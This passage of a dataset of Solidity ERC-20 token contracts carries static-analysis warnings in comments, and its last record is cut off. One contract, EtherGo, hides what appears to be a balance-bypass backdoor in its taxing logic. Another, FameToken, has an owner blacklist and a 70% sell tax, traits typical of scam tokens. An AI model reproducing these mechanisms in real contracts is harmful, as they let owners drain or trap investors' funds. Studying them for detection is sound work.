"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n}\n\ncontract Ownable is Context {\n address private _theOwner;\n\n event OwnershipTransferred(\n address indexed oldOwner,\n address indexed newOwner\n );\n\n constructor() {\n address sender = _msgSender();\n\n _theOwner = _msgSender();\n\n emit OwnershipTransferred(address(0), sender);\n }\n\n function getOwner() public view returns (address) {\n return _theOwner;\n }\n\n modifier checkOwner() {\n require(\n _theOwner == _msgSender(),\n \"Ownable: the caller must be the owner\"\n );\n\n _;\n }\n\n function callOwnership() public virtual checkOwner {\n emit OwnershipTransferred(_theOwner, address(0));\n\n _theOwner = address(0);\n }\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address firstToken,\n address secondToken\n ) external returns (address pairing);\n}\n\ncontract EtherGo is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _allBalances;\n\n mapping(address => mapping(address => uint256)) private _allTokenAllowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 92b1bdf): EtherGo._taxWallet should be immutable \n\t// Recommendation for 92b1bdf: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9e40a5a): EtherGo.buyingTax should be constant \n\t// Recommendation for 9e40a5a: Add the 'constant' attribute to state variables that never change.\n uint256 public buyingTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2423488): EtherGo.sellTax should be constant \n\t// Recommendation for 2423488: Add the 'constant' attribute to state variables that never change.\n uint256 public sellTax = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tokenTotal = 10_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Ether Go\";\n\n string private constant _symbol = unicode\"ETHGO\";\n\n uint256 private constant maxTaxSlippage = 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 53b8892): EtherGo.minTaxSwap should be constant \n\t// Recommendation for 53b8892: Add the 'constant' attribute to state variables that never change.\n uint256 private minTaxSwap = 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 722d0ce): EtherGo.maxTaxSwap should be constant \n\t// Recommendation for 722d0ce: Add the 'constant' attribute to state variables that never change.\n uint256 private maxTaxSwap = _tokenTotal / 500;\n\n uint256 public constant max_uint = type(uint).max;\n\n address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n IUniswapV2Router02 public constant uniswapV2Router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n IUniswapV2Factory public constant uniswapV2Factory =\n IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);\n\n address private uniswapV2Pair;\n\n address private uniswap;\n\n bool private TradingOpen = false;\n\n bool private doesInSwap = false;\n\n bool private SwapEnabled = false;\n\n modifier lockingTheSwap() {\n doesInSwap = true;\n\n _;\n\n doesInSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _allBalances[_msgSender()] = _tokenTotal;\n\n emit Transfer(address(0), _msgSender(), _tokenTotal);\n }\n\n function allowance(\n address Owner,\n address buyer\n ) public view override returns (uint256) {\n return _allTokenAllowances[Owner][buyer];\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f7945a6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f7945a6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8342bef): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8342bef: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address payer,\n address reciver,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: f7945a6\n\t\t// reentrancy-benign | ID: 8342bef\n _transfer(payer, reciver, amount);\n\n\t\t// reentrancy-events | ID: f7945a6\n\t\t// reentrancy-benign | ID: 8342bef\n _approve(\n payer,\n _msgSender(),\n _allTokenAllowances[payer][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tokenTotal;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function transfer(\n address reciver,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), reciver, amount);\n\n return true;\n }\n\n function approve(\n address payer,\n uint256 total\n ) public override returns (bool) {\n _approve(_msgSender(), payer, total);\n\n return true;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function balanceOf(address wallet) public view override returns (uint256) {\n return _allBalances[wallet];\n }\n\n function _approve(address Owner, address buyer, uint256 amount) private {\n require(buyer != address(0), \"ERC20: approve to the zero address\");\n\n require(Owner != address(0), \"ERC20: approve from the zero address\");\n\n\t\t// reentrancy-benign | ID: 8342bef\n _allTokenAllowances[Owner][buyer] = amount;\n\n\t\t// reentrancy-events | ID: f7945a6\n emit Approval(Owner, buyer, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: aa15849): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for aa15849: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 95afcf0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 95afcf0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address seller, address payer, uint256 total) private {\n require(seller != address(0), \"ERC20: transfer from the zero address\");\n\n require(payer != address(0), \"ERC20: transfer to the zero address\");\n\n require(total > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (\n seller != getOwner() && payer != getOwner() && payer != _taxWallet\n ) {\n if (seller == uniswap && payer != address(uniswapV2Router)) {\n taxAmount = total.mul(buyingTax).div(100);\n } else if (payer == uniswap && seller != address(this)) {\n taxAmount = total.mul(sellTax).div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !doesInSwap &&\n payer == uniswap &&\n SwapEnabled &&\n contractTokenBalance > minTaxSwap\n ) {\n uint256 _toSwap = contractTokenBalance > maxTaxSwap\n ? maxTaxSwap\n : contractTokenBalance;\n\n\t\t\t\t// reentrancy-events | ID: aa15849\n\t\t\t\t// reentrancy-eth | ID: 95afcf0\n swapTokensForEth(total > _toSwap ? _toSwap : total);\n\n uint256 _contractETHBalance = address(this).balance;\n\n if (_contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: aa15849\n\t\t\t\t\t// reentrancy-eth | ID: 95afcf0\n sendETHToFee(_contractETHBalance);\n }\n }\n }\n\n (uint256 amountIn, uint256 amountOut) = taxing(\n seller,\n total,\n taxAmount\n );\n\n require(_allBalances[seller] >= amountIn);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 95afcf0\n _allBalances[address(this)] = _allBalances[address(this)].add(\n taxAmount\n );\n\n\t\t\t// reentrancy-events | ID: aa15849\n emit Transfer(seller, address(this), taxAmount);\n }\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: 95afcf0\n _allBalances[seller] -= amountIn;\n\n\t\t\t// reentrancy-eth | ID: 95afcf0\n _allBalances[payer] += amountOut;\n }\n\n\t\t// reentrancy-events | ID: aa15849\n emit Transfer(seller, payer, amountOut);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockingTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = weth;\n\n\t\t// reentrancy-events | ID: aa15849\n\t\t// reentrancy-events | ID: f7945a6\n\t\t// reentrancy-benign | ID: 8342bef\n\t\t// reentrancy-eth | ID: 95afcf0\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n tokenAmount - tokenAmount.mul(maxTaxSlippage).div(100),\n path,\n address(this),\n block.timestamp\n );\n }\n\n function taxing(\n address from,\n uint256 total,\n uint256 taxAmount\n ) private view returns (uint256, uint256) {\n return (\n total.sub(from != uniswapV2Pair ? 0 : total),\n total.sub(from != uniswapV2Pair ? taxAmount : taxAmount)\n );\n }\n\n\t// WARNING Vulnerability (unchecked-lowlevel | severity: Medium | ID: f43e0f7): EtherGo.sendETHToFee(uint256) ignores return value by _taxWallet.call{value ethAmount}()\n\t// Recommendation for f43e0f7: Ensure that the return value of a low-level call is checked or logged.\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 34e574f): EtherGo.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.call{value ethAmount}()\n\t// Recommendation for 34e574f: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 ethAmount) private {\n\t\t// reentrancy-events | ID: aa15849\n\t\t// reentrancy-events | ID: f7945a6\n\t\t// reentrancy-benign | ID: 8342bef\n\t\t// unchecked-lowlevel | ID: f43e0f7\n\t\t// reentrancy-eth | ID: 95afcf0\n\t\t// arbitrary-send-eth | ID: 34e574f\n _taxWallet.call{value: ethAmount}(\"\");\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: dcb9fb3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for dcb9fb3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 7dbb040): EtherGo.setTrading(address,bool)._pair lacks a zerocheck on \t uniswapV2Pair = _pair\n\t// Recommendation for 7dbb040: Check that the address is not zero.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6a64696): EtherGo.setTrading(address,bool) ignores return value by IERC20(uniswap).approve(address(uniswapV2Router),max_uint)\n\t// Recommendation for 6a64696: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1c17ad7): EtherGo.setTrading(address,bool) ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,getOwner(),block.timestamp)\n\t// Recommendation for 1c17ad7: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1cc3fc6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1cc3fc6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function setTrading(address _pair, bool _enabled) external checkOwner {\n require(_enabled);\n\n require(!TradingOpen, \"trading is already open\");\n\n\t\t// missing-zero-check | ID: 7dbb040\n uniswapV2Pair = _pair;\n\n _approve(address(this), address(uniswapV2Router), max_uint);\n\n\t\t// reentrancy-benign | ID: dcb9fb3\n\t\t// reentrancy-eth | ID: 1cc3fc6\n uniswap = uniswapV2Factory.createPair(address(this), weth);\n\n\t\t// reentrancy-benign | ID: dcb9fb3\n\t\t// unused-return | ID: 1c17ad7\n\t\t// reentrancy-eth | ID: 1cc3fc6\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n getOwner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: dcb9fb3\n\t\t// unused-return | ID: 6a64696\n\t\t// reentrancy-eth | ID: 1cc3fc6\n IERC20(uniswap).approve(address(uniswapV2Router), max_uint);\n\n\t\t// reentrancy-benign | ID: dcb9fb3\n SwapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 1cc3fc6\n TradingOpen = true;\n }\n\n function get_TradingOpen() external view returns (bool) {\n return TradingOpen;\n }\n\n function get_buyingTax() external view returns (uint256) {\n return buyingTax;\n }\n\n function get_sellTax() external view returns (uint256) {\n return sellTax;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10577.sol",
"size_bytes": 17094,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a8d7d45): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for a8d7d45: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: a8d7d45\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function transferOwnership(address newOwner) public onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n\n function renounceOwnership() public onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract FameToken is Context, IERC20, Ownable {\n string private constant _name = \"Fame Token\";\n\n string private constant _symbol = \"FAME\";\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _totalSupply = 1000000000 * 10 ** _decimals;\n\n uint256 public buyTax = 25;\n\n uint256 public sellTax = 70;\n\n\t// WARNING Optimization Issue (constable-states | ID: d1d25c7): FameToken.maxTxAmount should be constant \n\t// Recommendation for d1d25c7: Add the 'constant' attribute to state variables that never change.\n uint256 public maxTxAmount = (_totalSupply * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: f5788d6): FameToken.maxWalletSize should be constant \n\t// Recommendation for f5788d6: Add the 'constant' attribute to state variables that never change.\n uint256 public maxWalletSize = (_totalSupply * 2) / 100;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isLimitFree;\n\n mapping(address => bool) private _blacklist;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3cf0401): FameToken.taxWallet should be immutable \n\t// Recommendation for 3cf0401: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public taxWallet;\n\n bool private tradingOpen = false;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 79c0ef0): FameToken.constructor(address)._taxWallet lacks a zerocheck on \t taxWallet = _taxWallet\n\t// Recommendation for 79c0ef0: Check that the address is not zero.\n constructor(address _taxWallet) {\n\t\t// missing-zero-check | ID: 79c0ef0\n taxWallet = _taxWallet;\n\n _balances[msg.sender] = _totalSupply;\n\n _isLimitFree[msg.sender] = true;\n\n _isLimitFree[address(this)] = true;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bbcfa77): FameToken.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for bbcfa77: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e3020e3): FameToken._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e3020e3: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: ba4baff\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: cb0501b\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: cb0501b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for cb0501b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ba4baff): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ba4baff: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1ca403a): FameToken.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 1ca403a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c002371): FameToken.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for c002371: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4bfa2f9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4bfa2f9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n\t\t// reentrancy-events | ID: cb0501b\n\t\t// reentrancy-benign | ID: ba4baff\n\t\t// reentrancy-eth | ID: 4bfa2f9\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: cb0501b\n\t\t// reentrancy-benign | ID: ba4baff\n _approve(address(this), address(uniswapV2Router), _totalSupply);\n\n\t\t// unused-return | ID: c002371\n\t\t// reentrancy-eth | ID: 4bfa2f9\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 1ca403a\n\t\t// reentrancy-eth | ID: 4bfa2f9\n IERC20(uniswapV2Pair).approve(\n address(uniswapV2Router),\n type(uint256).max\n );\n\n\t\t// reentrancy-eth | ID: 4bfa2f9\n tradingOpen = true;\n }\n\n function setBlacklist(address wallet, bool value) external onlyOwner {\n _blacklist[wallet] = value;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: d6ef99a): FameToken.changeTax(uint256,uint256) should emit an event for buyTax = _buyTax sellTax = _sellTax \n\t// Recommendation for d6ef99a: Emit an event for critical parameter changes.\n function changeTax(uint256 _buyTax, uint256 _sellTax) external onlyOwner {\n require(\n _buyTax <= buyTax && _sellTax <= sellTax,\n \"Tax can only be lowered\"\n );\n\n\t\t// events-maths | ID: d6ef99a\n buyTax = _buyTax;\n\n\t\t// events-maths | ID: d6ef99a\n sellTax = _sellTax;\n }\n\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n require(!_blacklist[from], \"Sender is blacklisted\");\n\n uint256 taxAmount = 0;\n\n if (from == uniswapV2Pair) {\n taxAmount = (amount * buyTax) / 100;\n } else if (to == uniswapV2Pair) {\n taxAmount = (amount * sellTax) / 100;\n }\n\n uint256 transferAmount = amount - taxAmount;\n\n _balances[from] -= amount;\n\n _balances[to] += transferAmount;\n\n _balances[taxWallet] += taxAmount;\n\n emit Transfer(from, to, transferAmount);\n\n if (taxAmount > 0) {\n emit Transfer(from, taxWallet, taxAmount);\n }\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10578.sol",
"size_bytes": 12132,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n}\n\nabstract contract ReentrancyGuard {\n uint256 private constant _NOT_ENTERED = 1;\n\n uint256 private constant _ENTERED = 2;\n\n uint256 private _status;\n\n constructor() {\n _status = _NOT_ENTERED;\n }\n\n modifier nonReentrant() {\n _nonReentrantBefore();\n\n _;\n\n _nonReentrantAfter();\n }\n\n function _nonReentrantBefore() private {\n require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\");\n\n _status = _ENTERED;\n }\n\n function _nonReentrantAfter() private {\n _status = _NOT_ENTERED;\n }\n\n function _reentrancyGuardEntered() internal view returns (bool) {\n return _status == _ENTERED;\n }\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n}\n\nabstract contract Pausable is Context {\n event Paused(address account);\n\n event Unpaused(address account);\n\n bool private _paused;\n\n constructor() {\n _paused = false;\n }\n\n modifier whenNotPaused() {\n _requireNotPaused();\n\n _;\n }\n\n modifier whenPaused() {\n _requirePaused();\n\n _;\n }\n\n function paused() public view virtual returns (bool) {\n return _paused;\n }\n\n function _requireNotPaused() internal view virtual {\n require(!paused(), \"Pausable: paused\");\n }\n\n function _requirePaused() internal view virtual {\n require(paused(), \"Pausable: not paused\");\n }\n\n function _pause() internal virtual whenNotPaused {\n _paused = true;\n\n emit Paused(_msgSender());\n }\n\n function _unpause() internal virtual whenPaused {\n _paused = false;\n\n emit Unpaused(_msgSender());\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\nlibrary SafeMath {\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a % b;\n }\n 